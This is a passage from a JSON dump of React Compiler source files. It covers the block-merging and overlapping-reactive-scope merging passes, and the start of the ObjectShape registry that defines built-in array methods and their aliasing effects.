fn.body.blocks) {\n    const fallthrough = terminalFallthrough(block.terminal);\n    if (fallthrough !== null) {\n      fallthroughBlocks.add(fallthrough);\n    }\n\n    for (const instr of block.instructions) {\n      if (\n        instr.value.kind === 'FunctionExpression' ||\n        instr.value.kind === 'ObjectMethod'\n      ) {\n        mergeConsecutiveBlocks(instr.value.loweredFunc.func);\n      }\n    }\n\n    if (\n      // Can only merge blocks with a single predecessor\n      block.preds.size !== 1 ||\n      // Value blocks cannot merge\n      block.kind !== 'block' ||\n      // Merging across fallthroughs could move the predecessor out of its block scope\n      fallthroughBlocks.has(block.id)\n    ) {\n      continue;\n    }\n    const originalPredecessorId = Array.from(block.preds)[0]!;\n    const predecessorId = merged.get(originalPredecessorId);\n    const predecessor = fn.body.blocks.get(predecessorId);\n    CompilerError.invariant(predecessor !== undefined, {\n      reason: `Expected predecessor ${predecessorId} to exist`,\n      loc: GeneratedSource,\n    });\n    if (predecessor.terminal.kind !== 'goto' || predecessor.kind !== 'block') {\n      /*\n       * The predecessor is not guaranteed to transfer control to this block,\n       * they aren't consecutive.\n       */\n      continue;\n    }\n\n    // Replace phis in the merged block with canonical assignments to the single operand value\n    for (const phi of block.phis) {\n      CompilerError.invariant(phi.operands.size === 1, {\n        reason: `Found a block with a single predecessor but where a phi has multiple (${phi.operands.size}) operands`,\n        loc: GeneratedSource,\n      });\n      const operand = Array.from(phi.operands.values())[0]!;\n      const lvalue: Place = {\n        kind: 'Identifier',\n        identifier: phi.place.identifier,\n        effect: Effect.ConditionallyMutate,\n        reactive: false,\n        loc: GeneratedSource,\n      };\n      const instr: Instruction = {\n        id: predecessor.terminal.id,\n        lvalue: {...lvalue},\n        value: {\n          kind: 'LoadLocal',\n          place: {...operand},\n          loc: GeneratedSource,\n        },\n        effects: [{kind: 'Alias', from: {...operand}, into: {...lvalue}}],\n        loc: GeneratedSource,\n      };\n      predecessor.instructions.push(instr);\n    }\n\n    predecessor.instructions.push(...block.instructions);\n    predecessor.terminal = block.terminal;\n    merged.merge(block.id, predecessorId);\n    fn.body.blocks.delete(block.id);\n  }\n  for (const [, block] of fn.body.blocks) {\n    for (const phi of block.phis) {\n      for (const [predecessorId, operand] of phi.operands) {\n        const mapped = merged.get(predecessorId);\n        if (mapped !== predecessorId) {\n          phi.operands.delete(predecessorId);\n          phi.operands.set(mapped, operand);\n        }\n      }\n    }\n  }\n  markPredecessors(fn.body);\n  for (const [, {terminal}] of fn.body.blocks) {\n    if (terminalHasFallthrough(terminal)) {\n      terminal.fallthrough = merged.get(terminal.fallthrough);\n    }\n  }\n}\n\nclass MergedBlocks {\n  #map: Map<BlockId, BlockId> = new Map();\n\n  // Record that @param block was merged into @param into.\n  merge(block: BlockId, into: BlockId): void {\n    const target = this.get(into);\n    this.#map.set(block, target);\n  }\n\n  /*\n   * Get the id of the block that @param block has been merged into.\n   * This is transitive, in the case that eg @param block was merged\n   * into a block which later merged into another block.\n   */\n  get(block: BlockId): BlockId {\n    let current = block;\n    while (this.#map.has(current)) {\n      current = this.#map.get(current) ?? current;\n    }\n    return current;\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/HIR/MergeOverlappingReactiveScopesHIR.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {\n  HIRFunction,\n  InstructionId,\n  Place,\n  ReactiveScope,\n  makeInstructionId,\n} from '.';\nimport {getPlaceScope} from '../HIR/HIR';\nimport {isMutable} from '../ReactiveScopes/InferReactiveScopeVariables';\nimport DisjointSet from '../Utils/DisjointSet';\nimport {getOrInsertDefault} from '../Utils/utils';\nimport {\n  eachInstructionLValue,\n  eachInstructionOperand,\n  eachTerminalOperand,\n} from './visitors';\n\n/**\n * While previous passes ensure that reactive scopes span valid sets of program\n * blocks, pairs of reactive scopes may still be inconsistent with respect to\n * each other.\n *\n * (a) Reactive scopes ranges must form valid blocks in the resulting javascript\n * program. Any two scopes must either be entirely disjoint or one scope must be\n * nested within the other.\n *   ```js\n *   // Scopes 1:3 and 3:5 are valid because they contain no common instructions\n *   [1] ⌝\n *   [2] ⌟\n *   [3] ⌝\n *   [4] ⌟\n *   // Scopes 1:3 and 1:5 are valid because the former is nested within the other\n *   [1] ⌝  ⌝\n *   [2] ⌟  |\n *   [3]    |\n *   [4]    ⌟\n *   // Scopes 1:4 and 2:5 are invalid because we cannot produce if-else memo\n *   // blocks representing these scopes in the output program.\n *   [1] ⌝\n *   [2] |  ⌝\n *   [3] ⌟  |\n *   [4]    ⌟\n *   ```\n *\n * (b) A scope's own instructions may only mutate that scope.\n * For each reactive scope, we currently produce exactly one if-block which\n * spans the instruction range of the scope. In this simple example, instr [2]\n * does not mutate any values but is included within scope @0.\n * ```js\n *   // IR instructions\n *   [1] (writes to scope @0's values)\n *   [2] (does not mutate anything)\n *   [3] (writes to scope @0's values)\n *\n *   // javascript output\n *   if (( scope @0's dependencies changed )) {\n *     [1]\n *     [2]\n *     [3]\n *   }\n * ```\n * Nested scopes may be modeled as a tree in which child scopes are contained\n * within parent scopes. This corresponds to nested if-else memo blocks in the\n * output program). An instruction may only mutate its own \"active\" scope.\n *   ```js\n *   // Active scopes for a simple program\n *   scope @0 {\n *     [0] (active scope=@0)\n *     scope @1 {\n *       [1] (active scope=@1)\n *       [2] (active scope=@1)\n *     }\n *     [3] (active scope=@0)\n *   }\n *   [4] (no active scope)\n *\n *   // In this example, scopes @0 and @1 must be merged because instr [2]'s\n *   // active scope is scope@1 but it mutates scope@0.\n *   scope @0, produces x {\n *     [0] x = []\n *     scope @1, produces y {\n *       [1] y = []\n *       [2] x.push(2)\n *       [3] y.push(3)\n *     }\n *     [3] x.push(1)\n *   }\n * ```\n *\n * As mentioned, these constraints arise entirely from the current design of\n * compiler output.\n * - instruction ordering is preserved (otherwise, disjoint ranges for scopes\n *   may be produced by reordering their mutating instructions)\n * - exactly one if-else block per scope, which does not allow the composition\n *   of a reactive scope from disconnected instruction ranges.\n */\n\nexport function mergeOverlappingReactiveScopesHIR(fn: HIRFunction): void {\n  /**\n   * Collect all scopes eagerly because some scopes begin before the first\n   * instruction that references them (due to alignReactiveScopesToBlocks)\n   */\n  const scopesInfo = collectScopeInfo(fn);\n\n  /**\n   * Iterate through scopes and instructions to find which should be merged\n   */\n  const joinedScopes = getOverlappingReactiveScopes(fn, scopesInfo);\n\n  /**\n   * Merge scopes and rewrite all references\n   */\n  joinedScopes.forEach((scope, groupScope) => {\n    if (scope !== groupScope) {\n      groupScope.range.start = makeInstructionId(\n        Math.min(groupScope.range.start, scope.range.start),\n      );\n      groupScope.range.end = makeInstructionId(\n        Math.max(groupScope.range.end, scope.range.end),\n      );\n    }\n  });\n  for (const [place, originalScope] of scopesInfo.placeScopes) {\n    const nextScope = joinedScopes.find(originalScope);\n    if (nextScope !== null && nextScope !== originalScope) {\n      place.identifier.scope = nextScope;\n    }\n  }\n}\n\ntype ScopeInfo = {\n  scopeStarts: Array<{id: InstructionId; scopes: Set<ReactiveScope>}>;\n  scopeEnds: Array<{id: InstructionId; scopes: Set<ReactiveScope>}>;\n  placeScopes: Map<Place, ReactiveScope>;\n};\n\ntype TraversalState = {\n  joined: DisjointSet<ReactiveScope>;\n  activeScopes: Array<ReactiveScope>;\n};\n\nfunction collectScopeInfo(fn: HIRFunction): ScopeInfo {\n  const scopeStarts: Map<InstructionId, Set<ReactiveScope>> = new Map();\n  const scopeEnds: Map<InstructionId, Set<ReactiveScope>> = new Map();\n  const placeScopes: Map<Place, ReactiveScope> = new Map();\n\n  function collectPlaceScope(place: Place): void {\n    const scope = place.identifier.scope;\n    if (scope != null) {\n      placeScopes.set(place, scope);\n      /**\n       * Record both mutating and non-mutating scopes to merge scopes with\n       * still-mutating values with inner scopes that alias those values\n       * (see `nonmutating-capture-in-unsplittable-memo-block`)\n       *\n       * Note that this isn't perfect, as it also leads to merging of mutating\n       * scopes with JSX single-instruction scopes (see `mutation-within-jsx`)\n       */\n      if (scope.range.start !== scope.range.end) {\n        getOrInsertDefault(scopeStarts, scope.range.start, new Set()).add(\n          scope,\n        );\n        getOrInsertDefault(scopeEnds, scope.range.end, new Set()).add(scope);\n      }\n    }\n  }\n\n  for (const [, block] of fn.body.blocks) {\n    for (const instr of block.instructions) {\n      for (const operand of eachInstructionLValue(instr)) {\n        collectPlaceScope(operand);\n      }\n      for (const operand of eachInstructionOperand(instr)) {\n        collectPlaceScope(operand);\n      }\n    }\n    for (const operand of eachTerminalOperand(block.terminal)) {\n      collectPlaceScope(operand);\n    }\n  }\n\n  return {\n    scopeStarts: [...scopeStarts.entries()]\n      .map(([id, scopes]) => ({id, scopes}))\n      .sort((a, b) => b.id - a.id),\n    scopeEnds: [...scopeEnds.entries()]\n      .map(([id, scopes]) => ({id, scopes}))\n      .sort((a, b) => b.id - a.id),\n    placeScopes,\n  };\n}\n\nfunction visitInstructionId(\n  id: InstructionId,\n  {scopeEnds, scopeStarts}: ScopeInfo,\n  {activeScopes, joined}: TraversalState,\n): void {\n  /**\n   * Handle all scopes that end at this instruction.\n   */\n  const scopeEndTop = scopeEnds.at(-1);\n  if (scopeEndTop != null && scopeEndTop.id <= id) {\n    scopeEnds.pop();\n\n    /**\n     * Match scopes that end at this instruction with our stack of active\n     * scopes (from traversal state). We need to sort these in descending\n     * order of start IDs because the scopes stack is ordered as such\n     */\n    const scopesSortedStartDescending = [...scopeEndTop.scopes].sort(\n      (a, b) => b.range.start - a.range.start,\n    );\n    for (const scope of scopesSortedStartDescending) {\n      const idx = activeScopes.indexOf(scope);\n      if (idx !== -1) {\n        /**\n         * Detect and merge all overlapping scopes. `activeScopes` is ordered\n         * by scope start, so every active scope between a completed scope s\n         * and the top of the stack (1) started later than s and (2) completes after s.\n         */\n        if (idx !== activeScopes.length - 1) {\n          joined.union([scope, ...activeScopes.slice(idx + 1)]);\n        }\n        activeScopes.splice(idx, 1);\n      }\n    }\n  }\n\n  /**\n   * Handle all scopes that begin at this instruction by adding them\n   * to the scopes stack\n   */\n  const scopeStartTop = scopeStarts.at(-1);\n  if (scopeStartTop != null && scopeStartTop.id <= id) {\n    scopeStarts.pop();\n\n    const scopesSortedEndDescending = [...scopeStartTop.scopes].sort(\n      (a, b) => b.range.end - a.range.end,\n    );\n    activeScopes.push(...scopesSortedEndDescending);\n    /**\n     * Merge all identical scopes (ones with the same start and end),\n     * as they end up with the same reactive block\n     */\n    for (let i = 1; i < scopesSortedEndDescending.length; i++) {\n      const prev = scopesSortedEndDescending[i - 1];\n      const curr = scopesSortedEndDescending[i];\n      if (prev.range.end === curr.range.end) {\n        joined.union([prev, curr]);\n      }\n    }\n  }\n}\n\nfunction visitPlace(\n  id: InstructionId,\n  place: Place,\n  {activeScopes, joined}: TraversalState,\n): void {\n  /**\n   * If an instruction mutates an outer scope, flatten all scopes from the top\n   * of the stack to the mutated outer scope.\n   */\n  const placeScope = getPlaceScope(id, place);\n  if (placeScope != null && isMutable({id}, place)) {\n    const placeScopeIdx = activeScopes.indexOf(placeScope);\n    if (placeScopeIdx !== -1 && placeScopeIdx !== activeScopes.length - 1) {\n      joined.union([placeScope, ...activeScopes.slice(placeScopeIdx + 1)]);\n    }\n  }\n}\n\nfunction getOverlappingReactiveScopes(\n  fn: HIRFunction,\n  context: ScopeInfo,\n): DisjointSet<ReactiveScope> {\n  const state: TraversalState = {\n    joined: new DisjointSet<ReactiveScope>(),\n    activeScopes: [],\n  };\n\n  for (const [, block] of fn.body.blocks) {\n    for (const instr of block.instructions) {\n      visitInstructionId(instr.id, context, state);\n      for (const place of eachInstructionOperand(instr)) {\n        if (\n          (instr.value.kind === 'FunctionExpression' ||\n            instr.value.kind === 'ObjectMethod') &&\n          place.identifier.type.kind === 'Primitive'\n        ) {\n          continue;\n        }\n        visitPlace(instr.id, place, state);\n      }\n      for (const place of eachInstructionLValue(instr)) {\n        visitPlace(instr.id, place, state);\n      }\n    }\n    visitInstructionId(block.terminal.id, context, state);\n    for (const place of eachTerminalOperand(block.terminal)) {\n      visitPlace(block.terminal.id, place, state);\n    }\n  }\n\n  return state.joined;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/HIR/ObjectShape.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {CompilerError} from '../CompilerError';\nimport {AliasingEffect, AliasingSignature} from '../Inference/AliasingEffects';\nimport {assertExhaustive} from '../Utils/utils';\nimport {\n  Effect,\n  GeneratedSource,\n  Hole,\n  makeDeclarationId,\n  makeIdentifierId,\n  makeInstructionId,\n  Place,\n  SourceLocation,\n  SpreadPattern,\n  ValueKind,\n  ValueReason,\n} from './HIR';\nimport {\n  BuiltInType,\n  FunctionType,\n  makeType,\n  ObjectType,\n  PolyType,\n  PrimitiveType,\n} from './Types';\nimport {AliasingEffectConfig, AliasingSignatureConfig} from './TypeSchema';\n\n/*\n * This file exports types and defaults for JavaScript object shapes. These are\n * stored and used by a Forget `Environment`. See comments in `Types.ts`,\n * `Globals.ts`, and `Environment.ts` for more details.\n */\n\nconst PRIMITIVE_TYPE: PrimitiveType = {\n  kind: 'Primitive',\n};\n\nlet nextAnonId = 0;\n/*\n * We currently use strings for anonymous ShapeIds since they are easily\n * debuggable, even though `Symbol()` might be more performant\n */\nfunction createAnonId(): string {\n  return `<generated_${nextAnonId++}>`;\n}\n\n/*\n * Add a non-hook function to an existing ShapeRegistry.\n *\n * @returns a {@link FunctionType} representing the added function.\n */\nexport function addFunction(\n  registry: ShapeRegistry,\n  properties: Iterable<[string, BuiltInType | PolyType]>,\n  fn: Omit<FunctionSignature, 'hookKind' | 'aliasing'> & {\n    aliasing?: AliasingSignatureConfig | null | undefined;\n  },\n  id: string | null = null,\n  isConstructor: boolean = false,\n): FunctionType {\n  const shapeId = id ?? createAnonId();\n  const aliasing =\n    fn.aliasing != null\n      ? parseAliasingSignatureConfig(fn.aliasing, '<builtin>', GeneratedSource)\n      : null;\n  addShape(registry, shapeId, properties, {\n    ...fn,\n    aliasing,\n    hookKind: null,\n  });\n  return {\n    kind: 'Function',\n    return: fn.returnType,\n    shapeId,\n    isConstructor,\n  };\n}\n\n/*\n * Add a hook to an existing ShapeRegistry.\n *\n * @returns a {@link FunctionType} representing the added hook function.\n */\nexport function addHook(\n  registry: ShapeRegistry,\n  fn: Omit<FunctionSignature, 'aliasing'> & {\n    hookKind: HookKind;\n    aliasing?: AliasingSignatureConfig | null | undefined;\n  },\n  id: string | null = null,\n): FunctionType {\n  const shapeId = id ?? createAnonId();\n  const aliasing =\n    fn.aliasing != null\n      ? parseAliasingSignatureConfig(fn.aliasing, '<builtin>', GeneratedSource)\n      : null;\n  addShape(registry, shapeId, [], {...fn, aliasing});\n  return {\n    kind: 'Function',\n    return: fn.returnType,\n    shapeId,\n    isConstructor: false,\n  };\n}\n\nfunction parseAliasingSignatureConfig(\n  typeConfig: AliasingSignatureConfig,\n  moduleName: string,\n  loc: SourceLocation,\n): AliasingSignature {\n  const lifetimes = new Map<string, Place>();\n  function define(temp: string): Place {\n    CompilerError.invariant(!lifetimes.has(temp), {\n      reason: `Invalid type configuration for module`,\n      description: `Expected aliasing signature to have unique names for receiver, params, rest, returns, and temporaries in module '${moduleName}'`,\n      loc,\n    });\n    const place = signatureArgument(lifetimes.size);\n    lifetimes.set(temp, place);\n    return place;\n  }\n  function lookup(temp: string): Place {\n    const place = lifetimes.get(temp);\n    CompilerError.invariant(place != null, {\n      reason: `Invalid type configuration for module`,\n      description: `Expected aliasing signature effects to reference known names from receiver/params/rest/returns/temporaries, but '${temp}' is not a known name in '${moduleName}'`,\n      loc,\n    });\n    return place;\n  }\n  const receiver = define(typeConfig.receiver);\n  const params = typeConfig.params.map(define);\n  const rest = typeConfig.rest != null ? define(typeConfig.rest) : null;\n  const returns = define(typeConfig.returns);\n  const temporaries = typeConfig.temporaries.map(define);\n  const effects = typeConfig.effects.map(\n    (effect: AliasingEffectConfig): AliasingEffect => {\n      switch (effect.kind) {\n        case 'ImmutableCapture':\n        case 'CreateFrom':\n        case 'Capture':\n        case 'Alias':\n        case 'Assign': {\n          const from = lookup(effect.from);\n          const into = lookup(effect.into);\n          return {\n            kind: effect.kind,\n            from,\n            into,\n          };\n        }\n        case 'Mutate':\n        case 'MutateTransitiveConditionally': {\n          const value = lookup(effect.value);\n          return {kind: effect.kind, value};\n        }\n        case 'Create': {\n          const into = lookup(effect.into);\n          return {\n            kind: 'Create',\n            into,\n            reason: effect.reason,\n            value: effect.value,\n          };\n        }\n        case 'Freeze': {\n          const value = lookup(effect.value);\n          return {\n            kind: 'Freeze',\n            value,\n            reason: effect.reason,\n          };\n        }\n        case 'Impure': {\n          const place = lookup(effect.place);\n          return {\n            kind: 'Impure',\n            place,\n            error: CompilerError.throwTodo({\n              reason: 'Support impure effect declarations',\n              loc: GeneratedSource,\n            }),\n          };\n        }\n        case 'Apply': {\n          const receiver = lookup(effect.receiver);\n          const fn = lookup(effect.function);\n          const args: Array<Place | SpreadPattern | Hole> = effect.args.map(\n            arg => {\n              if (typeof arg === 'string') {\n                return lookup(arg);\n              } else if (arg.kind === 'Spread') {\n                return {kind: 'Spread', place: lookup(arg.place)};\n              } else {\n                return arg;\n              }\n            },\n          );\n          const into = lookup(effect.into);\n          return {\n            kind: 'Apply',\n            receiver,\n            function: fn,\n            mutatesFunction: effect.mutatesFunction,\n            args,\n            into,\n            loc,\n            signature: null,\n          };\n        }\n        default: {\n          assertExhaustive(\n            effect,\n            `Unexpected effect kind '${(effect as any).kind}'`,\n          );\n        }\n      }\n    },\n  );\n  return {\n    receiver: receiver.identifier.id,\n    params: params.map(p => p.identifier.id),\n    rest: rest != null ? rest.identifier.id : null,\n    returns: returns.identifier.id,\n    temporaries,\n    effects,\n  };\n}\n\n/*\n * Add an object to an existing ShapeRegistry.\n *\n * @returns an {@link ObjectType} representing the added object.\n */\nexport function addObject(\n  registry: ShapeRegistry,\n  id: string | null,\n  properties: Iterable<[string, BuiltInType | PolyType]>,\n): ObjectType {\n  const shapeId = id ?? createAnonId();\n  addShape(registry, shapeId, properties, null);\n  return {\n    kind: 'Object',\n    shapeId,\n  };\n}\n\nfunction addShape(\n  registry: ShapeRegistry,\n  id: string,\n  properties: Iterable<[string, BuiltInType | PolyType]>,\n  functionType: FunctionSignature | null,\n): ObjectShape {\n  const shape: ObjectShape = {\n    properties: new Map(properties),\n    functionType,\n  };\n\n  CompilerError.invariant(!registry.has(id), {\n    reason: `[ObjectShape] Could not add shape to registry: name ${id} already exists.`,\n    loc: GeneratedSource,\n  });\n  registry.set(id, shape);\n  return shape;\n}\n\nexport type HookKind =\n  | 'useContext'\n  | 'useState'\n  | 'useActionState'\n  | 'useReducer'\n  | 'useRef'\n  | 'useEffect'\n  | 'useLayoutEffect'\n  | 'useInsertionEffect'\n  | 'useMemo'\n  | 'useCallback'\n  | 'useTransition'\n  | 'useImperativeHandle'\n  | 'useEffectEvent'\n  | 'useOptimistic'\n  | 'Custom';\n\n/*\n * Call signature of a function, used for type and effect inference.\n *\n * Note: Param type is not recorded since it currently does not affect inference.\n * Specifically, we currently do not:\n *   - infer types based on their usage in argument position\n *   - handle inference for overloaded / generic functions\n */\nexport type FunctionSignature = {\n  positionalParams: Array<Effect>;\n  restParam: Effect | null;\n  returnType: BuiltInType | PolyType;\n  returnValueKind: ValueKind;\n\n  /**\n   * For functions that return frozen/immutable values, the reason provides a more\n   * precise error message for any (invalid) mutations of the value.\n   */\n  returnValueReason?: ValueReason;\n\n  calleeEffect: Effect;\n  hookKind: HookKind | null;\n  /*\n   * Whether any of the parameters may be aliased by each other or the return\n   * value. Defaults to false (parameters may alias). When true, the compiler\n   * may choose not to memoize arguments if they do not otherwise escape.\n   */\n  noAlias?: boolean;\n\n  /**\n   * Supported only for methods (no-op when used on functions in CallExpression.callee position).\n   *\n   * Indicates that the method can only modify its receiver if any of the arguments\n   * are mutable or are function expressions which mutate their arguments. This is designed\n   * for methods such as Array.prototype.map(), which only mutate the receiver array if they are\n   * passed a callback which has mutable side-effects (including mutating its inputs).\n   *\n   * MethodCalls to such functions will use a different behavior depending on their arguments:\n   * - If arguments are all non-mutable, the arguments get the Read effect and the receiver is Capture.\n   * - Else uses the effects specified by this signature.\n   */\n  mutableOnlyIfOperandsAreMutable?: boolean;\n\n  impure?: boolean;\n  knownIncompatible?: string | null | undefined;\n\n  canonicalName?: string;\n\n  aliasing?: AliasingSignature | null | undefined;\n};\n\n/*\n * Shape of an {@link FunctionType} if {@link ObjectShape.functionType} is present,\n * or {@link ObjectType} otherwise.\n *\n * Constructors (e.g. the global `Array` object) and other functions (e.g. `Math.min`)\n * are both represented by {@link ObjectShape.functionType}.\n */\nexport type ObjectShape = {\n  properties: Map<string, BuiltInType | PolyType>;\n  functionType: FunctionSignature | null;\n};\n\n/*\n * Every valid ShapeRegistry must contain ObjectShape definitions for\n * {@link BuiltInArrayId} and {@link BuiltInObjectId}, since these are the\n * the inferred types for [] and {}.\n */\nexport type ShapeRegistry = Map<string, ObjectShape>;\nexport const BuiltInPropsId = 'BuiltInProps';\nexport const BuiltInArrayId = 'BuiltInArray';\nexport const BuiltInSetId = 'BuiltInSet';\nexport const BuiltInMapId = 'BuiltInMap';\nexport const BuiltInWeakSetId = 'BuiltInWeakSet';\nexport const BuiltInWeakMapId = 'BuiltInWeakMap';\nexport const BuiltInFunctionId = 'BuiltInFunction';\nexport const BuiltInJsxId = 'BuiltInJsx';\nexport const BuiltInObjectId = 'BuiltInObject';\nexport const BuiltInUseStateId = 'BuiltInUseState';\nexport const BuiltInSetStateId = 'BuiltInSetState';\nexport const BuiltInUseActionStateId = 'BuiltInUseActionState';\nexport const BuiltInSetActionStateId = 'BuiltInSetActionState';\nexport const BuiltInUseRefId = 'BuiltInUseRefId';\nexport const BuiltInRefValueId = 'BuiltInRefValue';\nexport const BuiltInMixedReadonlyId = 'BuiltInMixedReadonly';\nexport const BuiltInUseEffectHookId = 'BuiltInUseEffectHook';\nexport const BuiltInUseLayoutEffectHookId = 'BuiltInUseLayoutEffectHook';\nexport const BuiltInUseInsertionEffectHookId = 'BuiltInUseInsertionEffectHook';\nexport const BuiltInUseOperatorId = 'BuiltInUseOperator';\nexport const BuiltInUseReducerId = 'BuiltInUseReducer';\nexport const BuiltInDispatchId = 'BuiltInDispatch';\nexport const BuiltInUseContextHookId = 'BuiltInUseContextHook';\nexport const BuiltInUseTransitionId = 'BuiltInUseTransition';\nexport const BuiltInUseOptimisticId = 'BuiltInUseOptimistic';\nexport const BuiltInSetOptimisticId = 'BuiltInSetOptimistic';\nexport const BuiltInStartTransitionId = 'BuiltInStartTransition';\nexport const BuiltInUseEffectEventId = 'BuiltInUseEffectEvent';\nexport const BuiltInEffectEventId = 'BuiltInEffectEventFunction';\n\n// See getReanimatedModuleType() in Globals.ts — this is part of supporting Reanimated's ref-like types\nexport const ReanimatedSharedValueId = 'ReanimatedSharedValueId';\n\n// ShapeRegistry with default definitions for built-ins.\nexport const BUILTIN_SHAPES: ShapeRegistry = new Map();\n\n// If the `ref` prop exists, it has the ref type\naddObject(BUILTIN_SHAPES, BuiltInPropsId, [\n  ['ref', {kind: 'Object', shapeId: BuiltInUseRefId}],\n]);\n\n/* Built-in array shape */\naddObject(BUILTIN_SHAPES, BuiltInArrayId, [\n  [\n    'indexOf',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [],\n      restParam: Effect.Read,\n      returnType: {kind: 'Primitive'},\n      calleeEffect: Effect.Read,\n      returnValueKind: ValueKind.Primitive,\n    }),\n  ],\n  [\n    'includes',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [],\n      restParam: Effect.Read,\n      returnType: {kind: 'Primitive'},\n      calleeEffect: Effect.Read,\n      returnValueKind: ValueKind.Primitive,\n    }),\n  ],\n  [\n    'pop',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [],\n      restParam: null,\n      returnType: {kind: 'Poly'},\n      calleeEffect: Effect.Store,\n      returnValueKind: ValueKind.Mutable,\n    }),\n  ],\n  [\n    'at',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [Effect.Read],\n      restParam: null,\n      returnType: {kind: 'Poly'},\n      calleeEffect: Effect.Capture,\n      returnValueKind: ValueKind.Mutable,\n    }),\n  ],\n  [\n    'concat',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [],\n      restParam: Effect.Capture,\n      returnType: {\n        kind: 'Object',\n        shapeId: BuiltInArrayId,\n      },\n      calleeEffect: Effect.Capture,\n      returnValueKind: ValueKind.Mutable,\n    }),\n  ],\n  ['length', PRIMITIVE_TYPE],\n  [\n    'push',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [],\n      restParam: Effect.Capture,\n      returnType: PRIMITIVE_TYPE,\n      calleeEffect: Effect.Store,\n      returnValueKind: ValueKind.Primitive,\n      aliasing: {\n        receiver: '@receiver',\n        params: [],\n        rest: '@rest',\n        returns: '@returns',\n        temporaries: [],\n        effects: [\n          // Push directly mutates the array itself\n          {kind: 'Mutate', value: '@receiver'},\n          // The arguments are captured into the array\n          {\n            kind: 'Capture',\n            from: '@rest',\n            into: '@receiver',\n          },\n          // Returns the new length, a primitive\n          {\n            kind: 'Create',\n            into: '@returns',\n            value: ValueKind.Primitive,\n            reason: ValueReason.KnownReturnSignature,\n          },\n        ],\n      },\n    }),\n  ],\n  [\n    'slice',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [],\n      restParam: Effect.Read,\n      returnType: {\n        kind: 'Object',\n        shapeId: BuiltInArrayId,\n      },\n      calleeEffect: Effect.Capture,\n      returnValueKind: ValueKind.Mutable,\n    }),\n  ],\n  [\n    'map',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [],\n      restParam: Effect.ConditionallyMutate,\n      returnType: {kind: 'Object', shapeId: BuiltInArrayId},\n      /*\n       * callee is ConditionallyMutate because items of the array\n       * flow into the lambda and may be mutated there, even though\n       * the array object itself is not modified\n       */\n      calleeEffect: Effect.ConditionallyMutate,\n      returnValueKind: ValueKind.Mutable,\n      noAlias: true,\n      mutableOnlyIfOperandsAreMutable: true,\n      aliasing: {\n        receiver: '@receiver',\n        params: ['@callback'],\n        rest: null,\n        returns: '@returns',\n        temporaries: [\n          // Temporary representing captured items of the receiver\n          '@item',\n          // Temporary representing the result of the callback\n          '@callbackReturn',\n          /*\n           * Undefined `this` arg to the callback. Note the signature does not\n           * support passing an explicit thisArg second param\n           */\n          '@thisArg',\n        ],\n        effects: [\n          // Map creates a new mutable array\n          {\n            kind: 'Create',\n            into: '@returns',\n            value: ValueKind.Mutable,\n            reason: ValueReason.KnownReturnSignature,\n          },\n          // The first arg to the callback is an item extracted from the receiver array\n          {\n            kind: 'CreateFrom',\n            from: '@receiver',\n            into: '@item',\n          },\n          // The undefined this for the callback\n          {\n            kind: 'Create',\n            into: '@thisArg',\n            value: ValueKind.Primitive,\n            reason: ValueReason.KnownReturnSignature,\n          },\n          // calls the callback, returning the result into a temporary\n          {\n            kind: 'Apply',\n            receiver: '@thisArg',\n            args: ['@item', {kind: 'Hole'}, '@receiver'],\n            function: '@callback',\n            into: '@callbackReturn',\n            mutatesFunction: false,\n          },\n          // captures the result of the callback into the return array\n          {\n            kind: 'Capture',\n            from: '@callbackReturn',\n            into: '@returns',\n          },\n        ],\n      },\n    }),\n  ],\n  [\n    'flatMap',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [],\n      restParam: Effect.ConditionallyMutate,\n      returnType: {kind: 'Object', shapeId: BuiltInArrayId},\n      /*\n       * callee is ConditionallyMutate because items of the array\n       * flow into the lambda and may be mutated there, even though\n       * the array object itself is not modified\n       */\n      calleeEffect: Effect.ConditionallyMutate,\n      returnValueKind: ValueKind.Mutable,\n      noAlias: true,\n      mutableOnlyIfOperandsAreMutable: true,\n    }),\n  ],\n  [\n    'filter',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [],\n      restParam: Effect.ConditionallyMutate,\n      returnType: {kind: 'Object', shapeId: BuiltInArrayId},\n      /*\n       * callee is ConditionallyMutate because items of the array\n       * flow into the lambda and may be mutated there, even though\n       * the array object itself is not modified\n       */\n      calleeEffect: Effect.ConditionallyMutate,\n      returnValueKind: ValueKind.Mutable,\n      noAlias: true,\n      mutableOnlyIfOperandsAreMutable: true,\n    }),\n  ],\n  [\n    'every',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [],\n      restParam: Effect.ConditionallyMutate,\n      returnType: {kind: 'Primitive'},\n      /*\n       * callee is ConditionallyMutate because items of the array\n       * flow into the lambda and may be mutated there, even though\n       * the array object itself is not modified\n       */\n      calleeEffect: Effect.ConditionallyMutate,\n      returnValueKind: ValueKind.Primitive,\n      noAlias: true,\n      mutableOnlyIfOperandsAreMutable: true,\n    }),\n  ],\n  [\n    'some',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [],\n      restParam: Effect.ConditionallyMutate,\n      returnType: {kind: 'Primitive'},\n      /*\n       * callee is ConditionallyMutate because items of the array\n       * flow into the lambda and may be mutated there, even though\n       * the array object itself is not modified\n       */\n      calleeEffect: Effect.ConditionallyMutate,\n      returnValueKind: ValueKind.Primitive,\n      noAlias: true,\n      mutableOnlyIfOperandsAreMutable: true,\n    }),\n  ],\n  [\n    'find',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [],\n      restParam: Effect.ConditionallyMutate,\n      returnType: {kind: 'Poly'},\n      calleeEffect: 